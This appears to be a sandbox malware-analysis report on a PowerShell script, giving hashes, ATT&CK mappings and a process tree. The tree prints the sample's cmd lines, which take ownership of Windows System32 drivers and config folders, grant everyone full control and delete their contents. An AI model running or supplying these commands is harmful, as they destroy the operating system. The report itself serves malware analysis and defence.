735116a2700250eb6865f98ebef5519c9de350fde9fc5bb0a3b3c18a63486c78

Analysis

max time kernel
73s
max time network
78s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
15/08/2024, 22:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.ps1
Size 1KB
Sample240815-2pnvrstgrp
SHA256 735116a2700250eb6865f98ebef5519c9de350fde9fc5bb0a3b3c18a63486c78
MD5 84cb1e2083b8106b83a45c6aa00dd55d
SHA1 e12ea5b7deb81774acb89088dc1f2dce755782e9
SHA512 4b01e6fcd0776596cf39de15cf7b8777f508246c6fb0f0023067db9116d364bd4693b71d9273c942c9357f18a2a631ec698b7e0a00d3f239da90df0b882e5e3a
MD5 SHA1 SHA512

Score

8^/10

discovery execution exploit

Malware Config

Signatures

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
1464	takeown.exe
2604	icacls.exe
4020	takeown.exe
3644	icacls.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1464	takeown.exe
2604	icacls.exe
4020	takeown.exe
3644	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4572	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4572	powershell.exe
4572	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeTakeOwnershipPrivilege	1464	takeown.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 4008	4572	powershell.exe	85
PID 4572 wrote to memory of 4008	4572	powershell.exe	85
PID 4008 wrote to memory of 752	4008	csc.exe	86
PID 4008 wrote to memory of 752	4008	csc.exe	86
PID 4572 wrote to memory of 972	4572	powershell.exe	87
PID 4572 wrote to memory of 972	4572	powershell.exe	87
PID 972 wrote to memory of 1464	972	cmd.exe	88
PID 972 wrote to memory of 1464	972	cmd.exe	88
PID 972 wrote to memory of 2604	972	cmd.exe	92
PID 972 wrote to memory of 2604	972	cmd.exe	92
PID 4572 wrote to memory of 864	4572	powershell.exe	93
PID 4572 wrote to memory of 864	4572	powershell.exe	93
PID 864 wrote to memory of 4020	864	cmd.exe	94
PID 864 wrote to memory of 4020	864	cmd.exe	94
PID 864 wrote to memory of 3644	864	cmd.exe	95
PID 864 wrote to memory of 3644	864	cmd.exe	95

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oyz2hoy2\oyz2hoy2.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC39E.tmp" "c:\Users\Admin\AppData\Local\Temp\oyz2hoy2\CSC405D64C57CA443B9A1247A1C6F924471.TMP"
    3⤵
    PID:752
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:972
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\drivers\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1464
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\drivers\* /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2604
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4020
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\* /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESC39E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC39E.tmp
Size 1KB
SHA256 1a395b70dfd797cf23ab29a634fe4feeb5fbdabd48590a731192827dfc7c4ece
MD5 77f68eeaa15e8d975905265c0d0d9f18
SHA1 c8c238b1981993c0f8fae7b6b10aa1a9927aff73
SHA512 034f962434258d80da35e59919b638a4ab67c3e6822a370addb20beb8cfc8efb8d1e2d0d8bd699f7255fd84f1593edbd8bcc21dd163867aa295c5c6d4c4b7ef9
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_yigaf0zw.bjs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yigaf0zw.bjs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

oyz2hoy2.dll

Path C:\Users\Admin\AppData\Local\Temp\oyz2hoy2\oyz2hoy2.dll
Size 3KB
SHA256 b2a605b83f2b43cb399b5c6197f4cb740c7c20d9f3bf868ea186af4feda23982
MD5 4f42e3a373dbc75c8cf62b1a3868f471
SHA1 314ed82661f8db30d73ab448ae14f80b53cba446
SHA512 44558d752358e31c087d80d77d0b4bf737f8df565578dd25e737f7b2e31cd02f8f545362defcecb72487a2e4447c0fd09e570e43e8855f5b7c85847fc2caf771
MD5 SHA1 SHA512

Submit Download

CSC405D64C57CA443B9A1247A1C6F924471.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\oyz2hoy2\CSC405D64C57CA443B9A1247A1C6F924471.TMP
Size 652B
SHA256 f011c7d92f359b6e377fcf360b5a4a815899737ebffbde5eb5cca883e22f225a
MD5 55a869329d42cdc8f15b91140798a4fe
SHA1 9b558d1923fdcde157895f8fef5c1d67dfe29249
SHA512 084aca67fff9ac4fde54117b49f6df906a6897a993e99cf3175c1ed5618550b2c22896d3682fa250b6b64649d212bf717718f4da7533cee84a1042078944dd0f
MD5 SHA1 SHA512

Submit Download

oyz2hoy2.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\oyz2hoy2\oyz2hoy2.0.cs
Size 819B
SHA256 d842c81d3641d456116098208a48542a96d5e4d256169069189e459cc265cef5
MD5 41f8d18f0172904a2236dd9396ead480
SHA1 35e7150c927b97b26d922f07a51e8fe833752933
SHA512 43dea5a479cf203bde58b412ac1ca7c064048e7d4544b2ef4354773a1805ccba2b85e6772466da0b9409fadaaa0f6f49654ed1e33a9ef75a4d43c3f058773da3
MD5 SHA1 SHA512

Submit Download

oyz2hoy2.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\oyz2hoy2\oyz2hoy2.cmdline
Size 369B
SHA256 c40080d39eb9fbc8daabb3b597414d4b9b29d4766dd8c2e34b2c3917469b4d27
MD5 90adeff635318883289790649f0e0cb1
SHA1 e912452806a0d3350cbd75b1a5c3c5d3adf58885
SHA512 4c3404a31f125ee363d54743e78983328063c7d6d7dc0423bc18275d0ffaf4d2e4891b502e677a379939014a34d8ac3a1858f40b2bd7d6e91ee3b0c9b9fd07ca
MD5 SHA1 SHA512

Submit Download

memory/4572-0-0x00007FFAAD1A3000-0x00007FFAAD1A5000-memory.dmp

Download

memory/4572-14-0x00007FFAAD1A0000-0x00007FFAADC61000-memory.dmp

Download

memory/4572-11-0x00007FFAAD1A0000-0x00007FFAADC61000-memory.dmp

Download

memory/4572-7-0x0000021EC1800000-0x0000021EC1822000-memory.dmp

Download

memory/4572-25-0x0000021EC1B30000-0x0000021EC1B38000-memory.dmp

Download

memory/4572-27-0x00007FFAAD1A3000-0x00007FFAAD1A5000-memory.dmp

Download

memory/4572-28-0x00007FFAAD1A0000-0x00007FFAADC61000-memory.dmp

Download

memory/4572-31-0x00007FFAAD1A0000-0x00007FFAADC61000-memory.dmp

Download